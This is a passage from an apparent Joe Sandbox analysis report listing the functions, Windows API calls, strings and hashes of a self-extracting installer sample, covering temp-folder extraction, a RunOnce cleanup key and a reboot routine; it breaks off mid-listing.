Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00211FFB

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: e995269385fb87aba3d6bcd46396bf66b0a02169732196a9bbc16e86322af273
Instruction ID: 07528238802b128a0b0e27d4e9ef13100d0fb8e82abdfb210a0bb019a4107f41
Opcode Fuzzy Hash: e995269385fb87aba3d6bcd46396bf66b0a02169732196a9bbc16e86322af273
Instruction Fuzzy Hash: 91E04F30561318FFD7218F90FD4EFEA7BAAEB39780F100294B904A0061EF615AA4D605

Function 00214CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00214DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00214DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00214D36, 00214DE3

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-1193786559
Opcode ID: 98452341467ea9332dd856b82588a0831e523b2b1958fdc6cd534de33100e8d6
Instruction ID: 342c11ae0db56a629c0f58823cbd009badf0c69fccfb52c5391a441f7f3dd34e
Opcode Fuzzy Hash: 98452341467ea9332dd856b82588a0831e523b2b1958fdc6cd534de33100e8d6
Instruction Fuzzy Hash: B84125362201039BCF25BF28E8586F673E5EB75300B148669D88E97181DE31EEE6CB50

Function 00214C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00214C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00214C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00214C7E

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: c8c039ea3e857c7393aeb428f6e2cfca7df951b7101cbbbbb54aa698b68091ee
Instruction ID: 453f7dffdaa90e542c94689ddb07ebd2f021968cfc082bd073a35f6e032dca87
Opcode Fuzzy Hash: c8c039ea3e857c7393aeb428f6e2cfca7df951b7101cbbbbb54aa698b68091ee
Instruction Fuzzy Hash: 05F0627251120AAA9B14AFB4DC49DFB77ECEB24340744453BA519C1050EA31D964C7A0

Function 0021487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00214A23,?,00214F67,*MEMCAB,00008000,00000180), ref: 002148DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00214F67,*MEMCAB,00008000,00000180), ref: 00214902

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3853d35609e9c3688eb279a707a8dc18757ba92d1400faf230d8562a8ebfe274
Instruction ID: a342dcf724b5ca4a8f0417a10dd9531e736bce61c8c1fccba9f0071cb316d8b8
Opcode Fuzzy Hash: 3853d35609e9c3688eb279a707a8dc18757ba92d1400faf230d8562a8ebfe274
Instruction Fuzzy Hash: B3014BA3E2257026F32460295C89FF7559CCBA6734F1B0335BDAEEB1D1D5645C5481E0

Function 00214AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00213680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0021369F
Part of subcall function 00213680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002136B2
Part of subcall function 00213680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002136DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00214B05

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 1f658559dbf521c4ed1dd7fdcd11f9c84c364cc06e3d85feb4150b22e866bcee
Instruction ID: eb227cd6b8516d08b0ad7ab5cf2a8d67120584c6cb1a6767060fb08a5a9eca59
Opcode Fuzzy Hash: 1f658559dbf521c4ed1dd7fdcd11f9c84c364cc06e3d85feb4150b22e866bcee
Instruction Fuzzy Hash: 8F01AD31610201ABD7049F28EC59BE27799EB64729F04C225E93D9A1E0CF70C9A1CB40

Function 0021658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(00218B3E,00218B3F,00000001,00218B3E,-00000003,?,002160EC,00211140,?), ref: 002165BA

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 31931ba4141faa4e1b401f9655a40839bce5cfb3bf1d03be7f8bbb1ed0d425b1
Instruction ID: a8ef7e80eecadaa5891d8ebda16856471c073eaf24fd7dc54ac5b53fe73a9f0b
Opcode Fuzzy Hash: 31931ba4141faa4e1b401f9655a40839bce5cfb3bf1d03be7f8bbb1ed0d425b1
Instruction Fuzzy Hash: CEF042321142517BD3310D1D988CBEEBFDF9BA5350F64415EE8DEC3205CAA54CD583A4

Function 0021621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0021623F

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Part of subcall function 00216285: GetLastError.KERNEL32(00215BBC), ref: 00216285

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: d1a8111a74f7a1ce86ed7d89f4b5bf9212413317ebb063c525a84b66fbe0e20e
Instruction ID: 9274724b459608e52c548e3def425e26043655fdc303a425771f006a8237c9a7
Opcode Fuzzy Hash: d1a8111a74f7a1ce86ed7d89f4b5bf9212413317ebb063c525a84b66fbe0e20e
Instruction Fuzzy Hash: 4AF0B4B0610208ABD750EF749D0ABFE36ECDB74700F50446AA989D6081DD749DE48A90

Function 002166AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00214777,?,00214E38,?), ref: 002166B1

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9a2bcf2863186516d6b59fe66cc0bf7408e846d5e421ccd9740508ef00264121
Instruction ID: 876ffd7b58d3ac24d274fa4b56968945db051f298516ac080491dc93452c8182
Opcode Fuzzy Hash: 9a2bcf2863186516d6b59fe66cc0bf7408e846d5e421ccd9740508ef00264121
Instruction Fuzzy Hash: F1B0927A232482426A204A757C2D69A2885A6E123A7E45B90F032C01E0CE3EC896D004

Function 00214B60 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(AFA2EEDD,00000000,00000000,?,00214FA1,00000000), ref: 00214B98

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 60530d2272302256f97b96e002d1123f82ff6d8e1677eea5fe204243fa690f3e
Instruction ID: 1978dd2deb2dad51b95fe74e67a3d8e2b0f3ebae75a43111e6572136e6ddcdc5
Opcode Fuzzy Hash: 60530d2272302256f97b96e002d1123f82ff6d8e1677eea5fe204243fa690f3e
Instruction Fuzzy Hash: 3BF0FE71914B08DE47619F39EC81BD2BBE5ABB5364330092BD46ED21D0DB70A551CBD0

Function 00214CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00214CAA

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 551bd46fb85d2edd95597a25907424c7a62489eb8216c5ed74b661dd045d235c
Instruction ID: 7423b492707bd41d5df6a435b7ca81262eee6cd2917e48cb4ddfe8f296ef6f70
Opcode Fuzzy Hash: 551bd46fb85d2edd95597a25907424c7a62489eb8216c5ed74b661dd045d235c
Instruction Fuzzy Hash: CAB09232044208B7CB001A82A809B853F19E788661F144010F60C450508A6294108696

Function 00214CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 00214CC8

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 79aa797134ace1dca36ead07da414fbbbe63b598fc074aa150c76f683ab745c3
Instruction ID: 433978e196ee71aaf323e9dbbd3668aa9bd62728b81d8eced848f9f1a6e92812
Opcode Fuzzy Hash: 79aa797134ace1dca36ead07da414fbbbe63b598fc074aa150c76f683ab745c3
Instruction Fuzzy Hash: 1EB0123100010CB78F001B42FC0C8853F1DD6C42607014020F50C41022CF3398118585

Non-executed Functions

Function 00215C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00215CEE
GetModuleFileNameA.KERNEL32(00218B3E,00000104,00000000,?,?), ref: 00215DFC
CharUpperA.USER32(?), ref: 00215E3E
CharUpperA.USER32(-00000052), ref: 00215EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00215F6F
CharUpperA.USER32(?), ref: 00215FA7
CharUpperA.USER32(-0000004E), ref: 00216008
CharUpperA.USER32(?), ref: 002160AA
CloseHandle.KERNEL32(00000000,00211140,00000000,00000040,00000000), ref: 002161F1
ExitProcess.KERNEL32 ref: 002161F8

Strings

:, xrefs: 00216118
RegServer, xrefs: 00215F66
", xrefs: 0021612D
", xrefs: 00215D78

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 1417746d9db4b157104e75cd264fb751214e265040f9ff124a2f7339dbc8d653
Instruction ID: d8a19202114e940e5a3796085943a015b69b015c2914bb09165f93852d82fda0
Opcode Fuzzy Hash: 1417746d9db4b157104e75cd264fb751214e265040f9ff124a2f7339dbc8d653
Instruction Fuzzy Hash: FCD13B71D34A66DEDB358E389C4C7FA37E5ABB6300F1440EAC486C6590DAB44EE68F40

Function 002118A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002117EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,002118DD), ref: 0021181A
Part of subcall function 002117EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0021182C
Part of subcall function 002117EE: AllocateAndInitializeSid.ADVAPI32(002118DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,002118DD), ref: 00211855
Part of subcall function 002117EE: FreeSid.ADVAPI32(?,?,?,?,002118DD), ref: 00211883
Part of subcall function 002117EE: FreeLibrary.KERNEL32(00000000,?,?,?,002118DD), ref: 0021188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 002118EB
OpenProcessToken.ADVAPI32(00000000), ref: 002118F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0021190A
GetLastError.KERNEL32 ref: 00211918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0021192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00211944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00211964
EqualSid.ADVAPI32(00000004,?), ref: 0021197A
FreeSid.ADVAPI32(?), ref: 0021199C
LocalFree.KERNEL32(00000000), ref: 002119A3
CloseHandle.KERNEL32(?), ref: 002119AD

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 8f5002770764ed097b8aaa7e5dfcbd25eeee9be0a3391f8703987cbd3c9edfde
Instruction ID: 8e1708d940dd6a6073e1b33a3ce773d8e45d9c2b33cf863b351f1440b326dba1
Opcode Fuzzy Hash: 8f5002770764ed097b8aaa7e5dfcbd25eeee9be0a3391f8703987cbd3c9edfde
Instruction Fuzzy Hash: 45313B71A1120AAFDB209FA5EC88AFFBBF8FF28350B104425E655D2150EB309965CB61

Function 00211F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00211EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00211F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00211FD3

Strings

SeShutdownPrivilege, xrefs: 00211F28

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: b8f58bf0aaaaa6622b8225d2492cb0da22db5842ad325b077e9d3a530244b6ac
Instruction ID: 798d2ef4b98aeafb02a6c615d4ea17a268664f9c999e18d84a91f2cbbf5ef641
Opcode Fuzzy Hash: b8f58bf0aaaaa6622b8225d2492cb0da22db5842ad325b077e9d3a530244b6ac
Instruction Fuzzy Hash: 03210771A513057BDB205FA1AC4EFFF76F8EBA5B10F204019FB06D2481DB7588B29661

Function 00217155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00217182
GetCurrentProcessId.KERNEL32 ref: 00217191
GetCurrentThreadId.KERNEL32 ref: 0021719A
GetTickCount.KERNEL32 ref: 002171A3
QueryPerformanceCounter.KERNEL32(?), ref: 002171B8

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 59b5d977472628662ed4fe18f110f2d1a554ffc241dfba3528bd3d43c7f81d0d
Instruction ID: 9a8926967549de9d84095ea17cb5705ab22eca23ca78a11a31cceaf4e8a53323
Opcode Fuzzy Hash: 59b5d977472628662ed4fe18f110f2d1a554ffc241dfba3528bd3d43c7f81d0d
Instruction Fuzzy Hash: 2B111C71D15208EFCB10DFF8EA8CADEB7F5EF68315F618855D809E7210EA309A548B41

Function 00216CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00216E26,00211000), ref: 00216CF7
UnhandledExceptionFilter.KERNEL32(?,?,00216E26,00211000), ref: 00216D00
GetCurrentProcess.KERNEL32(C0000409,?,00216E26,00211000), ref: 00216D0B
TerminateProcess.KERNEL32(00000000,?,00216E26,00211000), ref: 00216D12

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 664609a9e3168517d86e5639c9beca9255607974be0bd9fb71f21a101c979295
Instruction ID: 5c555e01a2b8920a67299c63a03e9c45f4d111ca938483cddbf2fb4c55b3450d
Opcode Fuzzy Hash: 664609a9e3168517d86e5639c9beca9255607974be0bd9fb71f21a101c979295
Instruction Fuzzy Hash: BED0C932001108BBDB012BE1FC0CA993F28FB58222F448010F71D82020CE3244518B52

Function 00213210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,00218598,00000200), ref: 00213271
GetDesktopWindow.USER32 ref: 002133E2
SetWindowTextA.USER32(?,valid), ref: 002133F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00213410
GetDlgItem.USER32(?,00000836), ref: 00213426
EnableWindow.USER32(00000000), ref: 0021342D
EndDialog.USER32(?,00000000), ref: 0021343F

Strings

valid, xrefs: 002133F1
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 002132E2, 002132E7, 00213331, 00213344, 0021335B, 0021336A

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$valid
API String ID: 2418873061-289500182
Opcode ID: e5eadd88981e83d59fc7df70aa8244688b7385931f02c7d1184cd778eb77d62c
Instruction ID: 2547b4691fad86b2af7e9e0d0e8d6946706c0a4a2d7377fab6935b19c9acfa31
Opcode Fuzzy Hash: e5eadd88981e83d59fc7df70aa8244688b7385931f02c7d1184cd778eb77d62c
Instruction Fuzzy Hash: 6C512A303B1251B6E7229F356C4CFFB2DDE9B76B50F108024F509960C0CEB48AE192A5

Function 002134F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 00213535
EndDialog.USER32(?,?), ref: 00213541
ResetEvent.KERNEL32 ref: 0021355F
SetEvent.KERNEL32(00211140,00000000,00000020,00000004), ref: 00213590
GetDesktopWindow.USER32 ref: 002135C7
GetDlgItem.USER32(?,0000083B), ref: 002135F1
SendMessageA.USER32(00000000), ref: 002135F8
GetDlgItem.USER32(?,0000083B), ref: 00213610
SendMessageA.USER32(00000000), ref: 00213617
SetWindowTextA.USER32(?,valid), ref: 00213623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,00218798), ref: 00213637
EndDialog.USER32(?,00000000), ref: 00213671

Strings

valid, xrefs: 0021361D

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: valid
API String ID: 2406144884-2349282815
Opcode ID: a37c7eec539e6f23832a9aaf4170c7799e63e1f62941e22e7195ebce29960a95
Instruction ID: 4639288198f8b987b7a97ca2555fcc7c703494a699d3dfb2056ae99098ca6c2e
Opcode Fuzzy Hash: a37c7eec539e6f23832a9aaf4170c7799e63e1f62941e22e7195ebce29960a95
Instruction Fuzzy Hash: 8C310B74260341BBD7209F25FC4DEE63AEBE7B9B10F508429F609912E0CF7589A0CB55

Function 00214224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00214236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0021424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00214263
